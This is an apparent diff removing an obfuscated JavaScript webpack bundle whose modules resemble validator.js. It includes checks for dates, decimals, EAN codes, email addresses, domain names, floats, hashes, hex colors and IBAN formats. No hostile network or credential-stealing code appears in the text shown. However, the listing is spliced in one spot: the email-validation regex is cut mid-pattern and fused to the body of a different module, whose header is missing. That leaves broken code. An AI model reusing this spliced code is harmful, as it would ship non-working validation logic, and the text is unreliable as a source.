- for (var _0x1ad7c3 = [], _0x4d7b05 = Math.min(_0xddbe3f.length, _0x24a89e.length), _0x1d4063 = 0; _0x1d4063 < _0x4d7b05; _0x1d4063++) {
- _0x1ad7c3.push([_0xddbe3f[_0x1d4063], _0x24a89e[_0x1d4063]]);
- }
- return _0x1ad7c3;
- }(_0x2cfc08.split(_0x1e2184), _0x5496d0.format.toLowerCase().split(_0x24046c));
- var _0x4824a0 = {};
- var _0x4bd76f = function (_0x280aa5, _0x37c621) {
- var _0x4cfb5a;
- if ("undefined" == typeof Symbol || null == _0x280aa5[Symbol.iterator]) {
- if (Array.isArray(_0x280aa5) || (_0x4cfb5a = _0x4a1d12(_0x280aa5))) {
- _0x4cfb5a && (_0x280aa5 = _0x4cfb5a);
- var _0x35795b = 0;
- var _0x180ce7 = function () {};
- return {
- s: _0x180ce7,
- n: function () {
- return _0x35795b >= _0x280aa5.length ? {
- done: true
- } : {
- done: false,
- value: _0x280aa5[_0x35795b++]
- };
- },
- e: function (_0x53f1fe) {
- throw _0x53f1fe;
- },
- f: _0x180ce7
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x5804b2;
- var _0x4750ed = true;
- var _0x21ff58 = false;
- return {
- s: function () {
- _0x4cfb5a = _0x280aa5[Symbol.iterator]();
- },
- n: function () {
- var _0x74024 = _0x4cfb5a.next();
- _0x4750ed = _0x74024.done;
- return _0x74024;
- },
- e: function (_0x170c97) {
- _0x21ff58 = true;
- _0x5804b2 = _0x170c97;
- },
- f: function () {
- try {
- _0x4750ed || null == _0x4cfb5a.return || _0x4cfb5a.return();
- } finally {
- if (_0x21ff58) {
- throw _0x5804b2;
- }
- }
- }
- };
- }(_0x2fc14d);
- try {
- for (_0x4bd76f.s(); !(_0x4cd518 = _0x4bd76f.n()).done;) {
- _0x1420c2 = _0x4cd518.value;
- 2;
- var _0x2d4aa9 = function (_0x5b9c15) {
- if (Array.isArray(_0x5b9c15)) {
- return _0x5b9c15;
- }
- }(_0x1420c2) || function (_0x1d4d9f, _0x5683b6) {
- if ("undefined" != typeof Symbol && Symbol.iterator in Object(_0x1d4d9f)) {
- var _0xc51978 = [];
- var _0x5cab02 = true;
- var _0x1e9024 = false;
- var _0xe5de27 = undefined;
- try {
- for (var _0x42d9a3, _0x4cbaf8 = _0x1d4d9f[Symbol.iterator](); !(_0x5cab02 = (_0x42d9a3 = _0x4cbaf8.next()).done) && (_0xc51978.push(_0x42d9a3.value), 2 !== _0xc51978.length); _0x5cab02 = true) {}
- } catch (_0x479f5e) {
- _0x1e9024 = true;
- _0xe5de27 = _0x479f5e;
- } finally {
- try {
- _0x5cab02 || null == _0x4cbaf8.return || _0x4cbaf8.return();
- } finally {
- if (_0x1e9024) {
- throw _0xe5de27;
- }
- }
- }
- return _0xc51978;
- }
- }(_0x1420c2) || _0x4a1d12(_0x1420c2, 2) || function () {
- throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }();
- var _0x3c0aec = _0x2d4aa9[0];
- var _0x59d09c = _0x2d4aa9[1];
- if (_0x3c0aec.length !== _0x59d09c.length) {
- return false;
- }
- _0x4824a0[_0x59d09c.charAt(0)] = _0x3c0aec;
- }
- } catch (_0x5bc57d) {
- _0x4bd76f.e(_0x5bc57d);
- } finally {
- _0x4bd76f.f();
- }
- return new Date("".concat(_0x4824a0.m, "/").concat(_0x4824a0.d, "/").concat(_0x4824a0.y)).getDate() === +_0x4824a0.d;
- }
- var _0x1420c2;
- var _0x4ca1a1;
- return !_0x5496d0.strictMode && "[object Date]" === Object.prototype.toString.call(_0x2cfc08) && isFinite(_0x2cfc08);
- };
- var _0x308b24;
- var _0x4e6631 = (_0x308b24 = _0x24cbc4(4808)) && _0x308b24.__esModule ? _0x308b24 : {
- default: _0x308b24
- };
- function _0x4a1d12(_0x6d5554, _0x1c63be) {
- if (_0x6d5554) {
- if ("string" == typeof _0x6d5554) {
- return _0x1f476d(_0x6d5554, _0x1c63be);
- }
- var _0x171c13 = Object.prototype.toString.call(_0x6d5554).slice(8, -1);
- "Object" === _0x171c13 && _0x6d5554.constructor && (_0x171c13 = _0x6d5554.constructor.name);
- return "Map" === _0x171c13 || "Set" === _0x171c13 ? Array.from(_0x6d5554) : "Arguments" === _0x171c13 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x171c13) ? _0x1f476d(_0x6d5554, _0x1c63be) : undefined;
- }
- }
- function _0x1f476d(_0x7f4b24, _0x1f9c03) {
- (null == _0x1f9c03 || _0x1f9c03 > _0x7f4b24.length) && (_0x1f9c03 = _0x7f4b24.length);
- for (var _0x452f68 = 0, _0x220b3c = new Array(_0x1f9c03); _0x452f68 < _0x1f9c03; _0x452f68++) {
- _0x220b3c[_0x452f68] = _0x7f4b24[_0x452f68];
- }
- return _0x220b3c;
- }
- var _0x31c139 = {
- format: "YYYY/MM/DD",
- delimiters: ["/", "-"],
- strictMode: false
- };
- _0x47c076.exports = _0x4f42b5.default;
- _0x47c076.exports.default = _0x4f42b5.default;
- },
- 5218: (_0x236328, _0x216069, _0x1b0f5c) => {
- "use strict";
-
- Object.defineProperty(_0x216069, "__esModule", {
- value: true
- });
- _0x216069.default = function (_0x3a0a8a, _0x5378ba) {
- if ((0, _0x2ba804.default)(_0x3a0a8a), (_0x5378ba = (0, _0xc90708.default)(_0x5378ba, _0x9e7787)).locale in _0x3ff0bd.decimal) {
- return !(0, _0x5aca1d.default)(_0x463ed1, _0x3a0a8a.replace(/ /g, "")) && function (_0xb0ac3d) {
- return new RegExp("^[-+]?([0-9]+)?(\\".concat(_0x3ff0bd.decimal[_0xb0ac3d.locale], "[0-9]{").concat(_0xb0ac3d.decimal_digits, "})").concat(_0xb0ac3d.force_decimal ? "" : "?", "$"));
- }(_0x5378ba).test(_0x3a0a8a);
- }
- throw new Error("Invalid locale '".concat(_0x5378ba.locale, "'"));
- };
- var _0xc90708 = _0x8402f(_0x1b0f5c(4808));
- var _0x2ba804 = _0x8402f(_0x1b0f5c(5571));
- var _0x5aca1d = _0x8402f(_0x1b0f5c(8343));
- var _0x3ff0bd = _0x1b0f5c(79);
- function _0x8402f(_0x59ed3d) {
- return _0x59ed3d && _0x59ed3d.__esModule ? _0x59ed3d : {
- default: _0x59ed3d
- };
- }
- var _0x9e7787 = {
- force_decimal: false,
- decimal_digits: "1,",
- locale: "en-US"
- };
- var _0x463ed1 = ["", "-", "+"];
- _0x236328.exports = _0x216069.default;
- _0x236328.exports.default = _0x216069.default;
- },
- 8335: (_0x47591a, _0xc5ae4c, _0x170862) => {
- "use strict";
-
- Object.defineProperty(_0xc5ae4c, "__esModule", {
- value: true
- });
- _0xc5ae4c.default = function (_0x3071b0, _0x381aaf) {
- (0, _0x580fa7.default)(_0x3071b0);
- return (0, _0x2a935e.default)(_0x3071b0) % parseInt(_0x381aaf, 10) == 0;
- };
- var _0x580fa7 = _0x48aba4(_0x170862(5571));
- var _0x2a935e = _0x48aba4(_0x170862(7536));
- function _0x48aba4(_0x516684) {
- return _0x516684 && _0x516684.__esModule ? _0x516684 : {
- default: _0x516684
- };
- }
- _0x47591a.exports = _0xc5ae4c.default;
- _0x47591a.exports.default = _0xc5ae4c.default;
- },
- 5807: (_0x349d6a, _0x13be75, _0x5bf7bc) => {
- "use strict";
-
- Object.defineProperty(_0x13be75, "__esModule", {
- value: true
- });
- _0x13be75.default = function (_0x296008) {
- (0, _0x552641.default)(_0x296008);
- var _0xe0a444;
- var _0x1b4beb;
- var _0x2ca613 = Number(_0x296008.slice(-1));
- return _0x5a70d5.test(_0x296008) && _0x2ca613 === ((_0x1b4beb = 10 - (_0xe0a444 = _0x296008).slice(0, -1).split("").map(function (_0x5c5b91, _0x77c3) {
- return Number(_0x5c5b91) * function (_0x46f8b4, _0x320692) {
- return _0x46f8b4 === _0x3ad0a9 || _0x46f8b4 === _0x3a9b68 ? _0x320692 % 2 == 0 ? 3 : 1 : _0x320692 % 2 == 0 ? 1 : 3;
- }(_0xe0a444.length, _0x77c3);
- }).reduce(function (_0x516a7f, _0x4761d6) {
- return _0x516a7f + _0x4761d6;
- }, 0) % 10) < 10 ? _0x1b4beb : 0);
- };
- var _0x43707e;
- var _0x552641 = (_0x43707e = _0x5bf7bc(5571)) && _0x43707e.__esModule ? _0x43707e : {
- default: _0x43707e
- };
- var _0x3ad0a9 = 8;
- var _0x3a9b68 = 14;
- var _0x5a70d5 = /^(\d{8}|\d{13}|\d{14})$/;
- _0x349d6a.exports = _0x13be75.default;
- _0x349d6a.exports.default = _0x13be75.default;
- },
- 3868: (_0x343e2d, _0x1aa198, _0x420612) => {
- "use strict";
-
- Object.defineProperty(_0x1aa198, "__esModule", {
- value: true
- });
- _0x1aa198.default = function (_0x39bf08, _0x3705f4) {
- if ((0, _0x1dbfe9.default)(_0x39bf08), (_0x3705f4 = (0, _0x46b65b.default)(_0x3705f4, _0x5f4975)).require_display_name || _0x3705f4.allow_display_name) {
- var _0x7bff36 = _0x39bf08.match(_0x2d72c9);
- if (_0x7bff36) {
- var _0x48e0fb = _0x7bff36[1];
- if (_0x39bf08 = _0x39bf08.replace(_0x48e0fb, "").replace(/(^<|>$)/g, ""), _0x48e0fb.endsWith(" ") && (_0x48e0fb = _0x48e0fb.slice(0, -1)), !function (_0x56d5a4) {
- var _0x15717a = _0x56d5a4.replace(/^"(.+)"$/, "$1");
- if (!_0x15717a.trim()) {
- return false;
- }
- if (/[\.";<>]/.test(_0x15717a)) {
- if (_0x15717a === _0x56d5a4) {
- return false;
- }
- if (_0x15717a.split("\"").length !== _0x15717a.split("\\\"").length) {
- return false;
- }
- }
- return true;
- }(_0x48e0fb)) {
- return false;
- }
- } else {
- if (_0x3705f4.require_display_name) {
- return false;
- }
- }
- }
- if (!_0x3705f4.ignore_max_length && _0x39bf08.length > _0xa68e52) {
- return false;
- }
- var _0xaddb7b = _0x39bf08.split("@");
- var _0x1f409d = _0xaddb7b.pop();
- var _0x2c1104 = _0x1f409d.toLowerCase();
- if (_0x3705f4.host_blacklist.includes(_0x2c1104)) {
- return false;
- }
- if (_0x3705f4.host_whitelist.length > 0 && !_0x3705f4.host_whitelist.includes(_0x2c1104)) {
- return false;
- }
- var _0x4df700 = _0xaddb7b.join("@");
- if (_0x3705f4.domain_specific_validation && ("gmail.com" === _0x2c1104 || "googlemail.com" === _0x2c1104)) {
- var _0x2a200e = (_0x4df700 = _0x4df700.toLowerCase()).split("+")[0];
- if (!(0, _0x3e576a.default)(_0x2a200e.replace(/\./g, ""), {
- min: 6,
- max: 30
- })) {
- return false;
- }
- for (var _0x3cce8e = _0x2a200e.split("."), _0x6e6f37 = 0; _0x6e6f37 < _0x3cce8e.length; _0x6e6f37++) {
- if (!_0x694557.test(_0x3cce8e[_0x6e6f37])) {
- return false;
- }
- }
- }
- if (!(false !== _0x3705f4.ignore_max_length || (0, _0x3e576a.default)(_0x4df700, {
- max: 64
- }) && (0, _0x3e576a.default)(_0x1f409d, {
- max: 254
- }))) {
- return false;
- }
- if (!(0, _0x1aed6d.default)(_0x1f409d, {
- require_tld: _0x3705f4.require_tld,
- ignore_max_length: _0x3705f4.ignore_max_length
- })) {
- if (!_0x3705f4.allow_ip_domain) {
- return false;
- }
- if (!(0, _0x85ccc2.default)(_0x1f409d)) {
- if (!_0x1f409d.startsWith("[") || !_0x1f409d.endsWith("]")) {
- return false;
- }
- var _0x17e591 = _0x1f409d.slice(1, -1);
- if (0 === _0x17e591.length || !(0, _0x85ccc2.default)(_0x17e591)) {
- return false;
- }
- }
- }
- if ("\"" === _0x4df700[0]) {
- _0x4df700 = _0x4df700.slice(1, _0x4df700.length - 1);
- return _0x3705f4.allow_utf8_local_part ? _0x26744a.test(_0x4df700) : _0x208412.test(_0x4df700);
- }
- for (var _0x24945c = _0x3705f4.allow_utf8_local_part ? _0x4c6bfe : _0x2747e4, _0x4317b9 = _0x4df700.split("."), _0x50f86c = 0; _0x50f86c < _0x4317b9.length; _0x50f86c++) {
- if (!_0x24945c.test(_0x4317b9[_0x50f86c])) {
- return false;
- }
- }
- return !_0x3705f4.blacklisted_chars || -1 === _0x4df700.search(new RegExp("[".concat(_0x3705f4.blacklisted_chars, "]+"), "g"));
- };
- var _0x1dbfe9 = _0x34ac30(_0x420612(5571));
- var _0x46b65b = _0x34ac30(_0x420612(4808));
- var _0x3e576a = _0x34ac30(_0x420612(3235));
- var _0x1aed6d = _0x34ac30(_0x420612(221));
- var _0x85ccc2 = _0x34ac30(_0x420612(1028));
- function _0x34ac30(_0xbffd74) {
- return _0xbffd74 && _0xbffd74.__esModule ? _0xbffd74 : {
- default: _0xbffd74
- };
- }
- var _0x5f4975 = {
- allow_display_name: false,
- require_display_name: false,
- allow_utf8_local_part: true,
- require_tld: true,
- blacklisted_chars: "",
- ignore_max_length: false,
- host_blacklist: [],
- host_whitelist: []
- };
- var _0x2d72c9 = /^([^\x00-\x1F\x7F-\x9F\cX]+) {
- "use strict";
-
- Object.defineProperty(_0x11b733, "__esModule", {
- value: true
- });
- _0x11b733.default = function (_0x1adf44, _0x1da43a) {
- (0, _0x22205a.default)(_0x1adf44);
- return 0 === ((_0x1da43a = (0, _0x26fc70.default)(_0x1da43a, _0xe51516)).ignore_whitespace ? _0x1adf44.trim().length : _0x1adf44.length);
- };
- var _0x22205a = _0x5e22cf(_0x1326d8(5571));
- var _0x26fc70 = _0x5e22cf(_0x1326d8(4808));
- function _0x5e22cf(_0x19a7a4) {
- return _0x19a7a4 && _0x19a7a4.__esModule ? _0x19a7a4 : {
- default: _0x19a7a4
- };
- }
- var _0xe51516 = {
- ignore_whitespace: false
- };
- _0x313b3f.exports = _0x11b733.default;
- _0x313b3f.exports.default = _0x11b733.default;
- },
- 2129: (_0x57be71, _0x334898, _0x136cac) => {
- "use strict";
-
- Object.defineProperty(_0x334898, "__esModule", {
- value: true
- });
- _0x334898.default = function (_0x24605b) {
- (0, _0x333200.default)(_0x24605b);
- return _0x31e785.test(_0x24605b);
- };
- var _0x353c71;
- var _0x333200 = (_0x353c71 = _0x136cac(5571)) && _0x353c71.__esModule ? _0x353c71 : {
- default: _0x353c71
- };
- var _0x31e785 = /^(0x)[0-9a-f]{40}$/i;
- _0x57be71.exports = _0x334898.default;
- _0x57be71.exports.default = _0x334898.default;
- },
- 221: (_0x4ac3f7, _0x438c7f, _0x11bad5) => {
- "use strict";
-
- Object.defineProperty(_0x438c7f, "__esModule", {
- value: true
- });
- _0x438c7f.default = function (_0x5ec2dc, _0x545825) {
- (0, _0x5d78ab.default)(_0x5ec2dc);
- (_0x545825 = (0, _0x3ea021.default)(_0x545825, _0x4f8fb4)).allow_trailing_dot && "." === _0x5ec2dc[_0x5ec2dc.length - 1] && (_0x5ec2dc = _0x5ec2dc.substring(0, _0x5ec2dc.length - 1));
- true === _0x545825.allow_wildcard && 0 === _0x5ec2dc.indexOf("*.") && (_0x5ec2dc = _0x5ec2dc.substring(2));
- var _0x533ab9 = _0x5ec2dc.split(".");
- var _0x3a5c15 = _0x533ab9[_0x533ab9.length - 1];
- if (_0x545825.require_tld) {
- if (_0x533ab9.length < 2) {
- return false;
- }
- if (!_0x545825.allow_numeric_tld && !/^([a-z\u00A1-\u00A8\u00AA-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{2,}|xn[a-z0-9-]{2,})$/i.test(_0x3a5c15)) {
- return false;
- }
- if (/\s/.test(_0x3a5c15)) {
- return false;
- }
- }
- return !(!_0x545825.allow_numeric_tld && /^\d+$/.test(_0x3a5c15)) && _0x533ab9.every(function (_0x915acc) {
- return !(_0x915acc.length > 63 && !_0x545825.ignore_max_length || !/^[a-z_\u00a1-\uffff0-9-]+$/i.test(_0x915acc) || /[\uff01-\uff5e]/.test(_0x915acc) || /^-|-$/.test(_0x915acc) || !_0x545825.allow_underscores && /_/.test(_0x915acc));
- });
- };
- var _0x5d78ab = _0x54ea2f(_0x11bad5(5571));
- var _0x3ea021 = _0x54ea2f(_0x11bad5(4808));
- function _0x54ea2f(_0x56b696) {
- return _0x56b696 && _0x56b696.__esModule ? _0x56b696 : {
- default: _0x56b696
- };
- }
- var _0x4f8fb4 = {
- require_tld: true,
- allow_underscores: false,
- allow_trailing_dot: false,
- allow_numeric_tld: false,
- allow_wildcard: false,
- ignore_max_length: false
- };
- _0x4ac3f7.exports = _0x438c7f.default;
- _0x4ac3f7.exports.default = _0x438c7f.default;
- },
- 9146: (_0x58a50b, _0x234bee, _0x3ad8df) => {
- "use strict";
-
- Object.defineProperty(_0x234bee, "__esModule", {
- value: true
- });
- _0x234bee.default = function (_0x19df37, _0x368f62) {
- (0, _0x3394fd.default)(_0x19df37);
- _0x368f62 = _0x368f62 || {};
- var _0x3de380 = new RegExp("^(?:[-+])?(?:[0-9]+)?(?:\\".concat(_0x368f62.locale ? _0x522c1b.decimal[_0x368f62.locale] : ".", "[0-9]*)?(?:[eE][\\+\\-]?(?:[0-9]+))?$"));
- if ("" === _0x19df37 || "." === _0x19df37 || "," === _0x19df37 || "-" === _0x19df37 || "+" === _0x19df37) {
- return false;
- }
- var _0x35ed22 = parseFloat(_0x19df37.replace(",", "."));
- return _0x3de380.test(_0x19df37) && (!_0x368f62.hasOwnProperty("min") || _0x35ed22 >= _0x368f62.min) && (!_0x368f62.hasOwnProperty("max") || _0x35ed22 <= _0x368f62.max) && (!_0x368f62.hasOwnProperty("lt") || _0x35ed22 < _0x368f62.lt) && (!_0x368f62.hasOwnProperty("gt") || _0x35ed22 > _0x368f62.gt);
- };
- _0x234bee.locales = undefined;
- var _0x508d1e;
- var _0x3394fd = (_0x508d1e = _0x3ad8df(5571)) && _0x508d1e.__esModule ? _0x508d1e : {
- default: _0x508d1e
- };
- var _0x522c1b = _0x3ad8df(79);
- var _0x11fc60 = Object.keys(_0x522c1b.decimal);
- _0x234bee.locales = _0x11fc60;
- },
- 7146: (_0x2db700, _0x58476c, _0x489e22) => {
- "use strict";
-
- Object.defineProperty(_0x58476c, "__esModule", {
- value: true
- });
- _0x58476c.default = function (_0x425b6f) {
- (0, _0x14e698.default)(_0x425b6f);
- return _0x565b4f.test(_0x425b6f);
- };
- _0x58476c.fullWidth = undefined;
- var _0x5b9829;
- var _0x14e698 = (_0x5b9829 = _0x489e22(5571)) && _0x5b9829.__esModule ? _0x5b9829 : {
- default: _0x5b9829
- };
- var _0x565b4f = /[^\u0020-\u007E\uFF61-\uFF9F\uFFA0-\uFFDC\uFFE8-\uFFEE0-9a-zA-Z]/;
- _0x58476c.fullWidth = _0x565b4f;
- },
- 6648: (_0x3bf43f, _0x4a4945, _0x253af7) => {
- "use strict";
-
- Object.defineProperty(_0x4a4945, "__esModule", {
- value: true
- });
- _0x4a4945.default = function (_0x459ca9) {
- (0, _0x26b2f6.default)(_0x459ca9);
- var _0x12e99a = _0x459ca9.replace(/\s+/g, " ").replace(/\s?(hsla?\(|\)|,)\s?/gi, "$1");
- return -1 !== _0x12e99a.indexOf(",") ? _0x2f08a1.test(_0x12e99a) : _0x744724.test(_0x12e99a);
- };
- var _0x2c32f7;
- var _0x26b2f6 = (_0x2c32f7 = _0x253af7(5571)) && _0x2c32f7.__esModule ? _0x2c32f7 : {
- default: _0x2c32f7
- };
- var _0x2f08a1 = /^hsla?\(((\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?))(deg|grad|rad|turn)?(,(\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?)%){2}(,((\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?)%?))?\)$/i;
- var _0x744724 = /^hsla?\(((\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?))(deg|grad|rad|turn)?(\s(\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?)%){2}\s?(\/\s((\+|\-)?([0-9]+(\.[0-9]+)?(e(\+|\-)?[0-9]+)?|\.[0-9]+(e(\+|\-)?[0-9]+)?)%?)\s?)?\)$/i;
- _0x3bf43f.exports = _0x4a4945.default;
- _0x3bf43f.exports.default = _0x4a4945.default;
- },
- 2941: (_0x7843f6, _0x5d47ce, _0x45b958) => {
- "use strict";
-
- Object.defineProperty(_0x5d47ce, "__esModule", {
- value: true
- });
- _0x5d47ce.default = function (_0x459e7d) {
- (0, _0x5ad24a.default)(_0x459e7d);
- return _0x5468a3.test(_0x459e7d);
- };
- _0x5d47ce.halfWidth = undefined;
- var _0x2fa2fa;
- var _0x5ad24a = (_0x2fa2fa = _0x45b958(5571)) && _0x2fa2fa.__esModule ? _0x2fa2fa : {
- default: _0x2fa2fa
- };
- var _0x5468a3 = /[\u0020-\u007E\uFF61-\uFF9F\uFFA0-\uFFDC\uFFE8-\uFFEE0-9a-zA-Z]/;
- _0x5d47ce.halfWidth = _0x5468a3;
- },
- 8874: (_0x2cc226, _0x24dda0, _0x390674) => {
- "use strict";
-
- Object.defineProperty(_0x24dda0, "__esModule", {
- value: true
- });
- _0x24dda0.default = function (_0x33aa8e, _0x52461e) {
- (0, _0x32fe17.default)(_0x33aa8e);
- return new RegExp("^[a-fA-F0-9]{".concat(_0x46685c[_0x52461e], "}$")).test(_0x33aa8e);
- };
- var _0x20db96;
- var _0x32fe17 = (_0x20db96 = _0x390674(5571)) && _0x20db96.__esModule ? _0x20db96 : {
- default: _0x20db96
- };
- var _0x46685c = {
- md5: 32,
- md4: 32,
- sha1: 40,
- sha256: 64,
- sha384: 96,
- sha512: 128,
- ripemd128: 32,
- ripemd160: 40,
- tiger128: 32,
- tiger160: 40,
- tiger192: 48,
- crc32: 8,
- crc32b: 8
- };
- _0x2cc226.exports = _0x24dda0.default;
- _0x2cc226.exports.default = _0x24dda0.default;
- },
- 6298: (_0x3b56d9, _0x30c049, _0x5c4120) => {
- "use strict";
-
- Object.defineProperty(_0x30c049, "__esModule", {
- value: true
- });
- _0x30c049.default = function (_0x1e3420) {
- (0, _0x1e6d80.default)(_0x1e3420);
- return _0x3424e5.test(_0x1e3420);
- };
- var _0x43277c;
- var _0x1e6d80 = (_0x43277c = _0x5c4120(5571)) && _0x43277c.__esModule ? _0x43277c : {
- default: _0x43277c
- };
- var _0x3424e5 = /^#?([0-9A-F]{3}|[0-9A-F]{4}|[0-9A-F]{6}|[0-9A-F]{8})$/i;
- _0x3b56d9.exports = _0x30c049.default;
- _0x3b56d9.exports.default = _0x30c049.default;
- },
- 7117: (_0x51f17e, _0x234212, _0x58d986) => {
- "use strict";
-
- Object.defineProperty(_0x234212, "__esModule", {
- value: true
- });
- _0x234212.default = function (_0x5d9746) {
- (0, _0x4f026c.default)(_0x5d9746);
- return _0x5bb26c.test(_0x5d9746);
- };
- var _0x561e7a;
- var _0x4f026c = (_0x561e7a = _0x58d986(5571)) && _0x561e7a.__esModule ? _0x561e7a : {
- default: _0x561e7a
- };
- var _0x5bb26c = /^(0x|0h)?[0-9A-F]+$/i;
- _0x51f17e.exports = _0x234212.default;
- _0x51f17e.exports.default = _0x234212.default;
- },
- 8177: (_0x2023c9, _0x5c5407, _0x131b14) => {
- "use strict";
-
- Object.defineProperty(_0x5c5407, "__esModule", {
- value: true
- });
- _0x5c5407.default = function (_0x599fe5) {
- (0, _0x29d069.default)(_0x599fe5);
- return function (_0x13ead1) {
- var _0x21cdbd = _0x13ead1.replace(/[\s\-]+/gi, "").toUpperCase();
- var _0x1ae699 = _0x21cdbd.slice(0, 2).toUpperCase();
- return _0x1ae699 in _0x5ee45e && _0x5ee45e[_0x1ae699].test(_0x21cdbd);
- }(_0x599fe5) && function (_0x481685) {
- var _0x5d333e = _0x481685.replace(/[^A-Z0-9]+/gi, "").toUpperCase();
- return 1 === (_0x5d333e.slice(4) + _0x5d333e.slice(0, 4)).replace(/[A-Z]/g, function (_0xcde1c9) {
- return _0xcde1c9.charCodeAt(0) - 55;
- }).match(/\d{1,7}/g).reduce(function (_0x369dfc, _0x4025a2) {
- return Number(_0x369dfc + _0x4025a2) % 97;
- }, "");
- }(_0x599fe5);
- };
- _0x5c5407.locales = undefined;
- var _0x33edd5;
- var _0x29d069 = (_0x33edd5 = _0x131b14(5571)) && _0x33edd5.__esModule ? _0x33edd5 : {
- default: _0x33edd5
- };
- var _0x5ee45e = {
- AD: /^(AD[0-9]{2})\d{8}[A-Z0-9]{12}$/,
- AE: /^(AE[0-9]{2})\d{3}\d{16}$/,
- AL: /^(AL[0-9]{2})\d{8}[A-Z0-9]{16}$/,
- AT: /^(AT[0-9]{2})\d{16}$/,
- AZ: /^(AZ[0-9]{2})[A-Z0-9]{4}\d{20}$/,
- BA: /^(BA[0-9]{2})\d{16}$/,
- BE: /^(BE[0-9]{2})\d{12}$/,
- BG: /^(BG[0-9]{2})[A-Z]{4}\d{6}[A-Z0-9]{8}$/,
- BH: /^(BH[0-9]{2})[A-Z]{4}[A-Z0-9]{14}$/,
- BR: /^(BR[0-9]{2})\d{23}[A-Z]{1}[A-Z0-9]{1}$/,
- BY: /^(BY[0-9]{2})[A-Z0-9]{4}\d{20}$/,
- CH: /^(CH[0-9]{2})\d{5}[A-Z0-9]{12}$/,
- CR: /^(CR[0-9]{2})\d{18}$/,
- CY: /^(CY[0-9]{2})\d{8}[A-Z0-9]{16}$/,
- CZ: /^(CZ[0-9]{2})\d{20}$/,
- DE: /^(DE[0-9]{2})\d{18}$/,
- DK: /^(DK[0-9]{2})\d{14}$/,
- DO: /^(DO[0-9]{2})[A-Z]{4}\d{20}$/,
- EE: /^(EE[0-9]{2})\d{16}$/,
- EG: /^(EG[0-9]{2})\d{25}$/,
- ES: /^(ES[0-9]{2})\d{20}$/,
- FI: /^(FI[0-9]{2})\d{14}$/,
- FO: /^(FO[0-9]{2})\d{14}$/,
- FR: /^(FR[0-9]{2})\d{10}[A-Z0-9]{11}\d{2}$/,
- GB: /^(GB[0-9]{2})[A-Z]{4}\d{14}$/,
- GE: /^(GE[0-9]{2})[A-Z0-9]{2}\d{16}$/,
- GI: /^(GI[0-9]{2})[A-Z]{4}[A-Z0-9]{15}$/,
- GL: /^(GL[0-9]{2})\d{14}$/,
- GR: /^(GR[0-9]{2})\d{7}[A-Z0-9]{16}$/,
- GT: /^(GT[0-9]{2})[A-Z0-9]{4}[A-Z0-9]{20}$/,
- HR: /^(HR[0-9]{2})\d{17}$/,
- HU: /^(HU[0-9]{2})\d{24}$/,
- IE: /^(IE[0-9]{2})[A-Z0-9]{4}\d{14}$/,
- IL: /^(IL[0-9]{2})\d{19}$/,
- IQ: /^(IQ[0-9]{2})[A-Z]{4}\d{15}$/,
- IR: /^(IR[0-9]{2})0\d{2}0\d{18}$/,
- IS: /^(IS[0-9]{2})\d{22}$/,
- IT: /^(IT[0-9]{2})[A-Z]{1}\d{10}[A-Z0-9]{12}$/,
- JO: /^(JO[0-9]{2})[A-Z]{4}\d{22}$/,
- KW: /^(KW[0-9]{2})[A-Z]{4}[A-Z0-9]{22}$/,
- KZ: /^(KZ[0-9]{2})\d{3}[A-Z0-9]{13}$/,
- LB: /^(LB[0-9]{2})\d{4}[A-Z0-9]{20}$/,
- LC: /^(LC[0-9]{2})[A-Z]{4}[A-Z0-9]{24}$/,
- LI: /^(LI[0-9]{2})\d{5}[A-Z0-9]{12}$/,
- LT: /^(LT[0-9]{2})\d{16}$/,
- LU: /^(LU[0-9]{2})\d{3}[A-Z0-9]{13}$/,
- LV: /^(LV[0-9]{2})[A-Z]{4}[A-Z0-9]{13}$/,
- MC: /^(MC[0-9]{2})\d{10}[A-Z0-9]{11}\d{2}$/,
- MD: /^(MD[0-9]{2})[A-Z0-9]{20}$/,
- ME: /^(ME[0-9]{2})\d{18}$/,
- MK: /^(MK[0-9]{2})\d{3}[A-Z0-9]{10}\d{2}$/,
- MR: /^(MR[0-9]{2})\d{23}$/,
- MT: /^(MT[0-9]{2})[A-Z]{4}\d{5}[A-Z0-9]{18}$/,
- MU: /^(MU[0-9]{2})[A-Z]{4}\d{19}[A-Z]{3}$/,
- MZ: /^(MZ[0-9]{2})\d{21}$/,
- NL: /^(NL[0-9]{2})[A-Z]{4}\d{10}$/,
- NO: /^(NO[0-9]{2})\d{11}$/,
- PK: /^(PK[0-9]{2})[A-Z0-9]{4}\d{16}$/,
- PL: /^(PL[0-9]{2})\d{24}$/,
- PS: /^(PS[0-9]{2})[A-Z0-9]{4}\d{21}$/,
- PT: /^(PT[0-9]{2})\d{21}$/,
- QA: /^(QA[0-9]{2})[A-Z]{4}[A-Z0-9]{21}$/,
- RO: /^(RO[0-9]{2})[A-Z]{4}[A-Z0-9]{16}$/,
- RS: /^(RS[0-9]{2})\d{18}$/,
- SA: /^(SA[0-9]{2})\d{2}[A-Z0-9]{18}$/,
- SC: /^(SC[0-9]{2})[A-Z]{4}\d{20}[A-Z]{3}$/,
- SE: /^(SE[0-9]{2})\d{20}$/,
- SI: /^(SI[0-9]{2})\d{15}$/,
- SK: /^(SK[0-9]{2})\d{20}$/,
- SM: /^(SM[0-9]{2})[A-Z]{1}\d{10}[A-Z0-9]{12}$/,
- SV: /^(SV[0-9]{2})[A-Z0-9]{4}\d{20}$/,
- TL: /^(TL[0-9]{2})\d{19}$/,
- TN: /^(TN[0-9]{2})\d{20}$/,
- TR: /^(TR[0-9]{2})\d{5}[A-Z0-9]{17}$/,
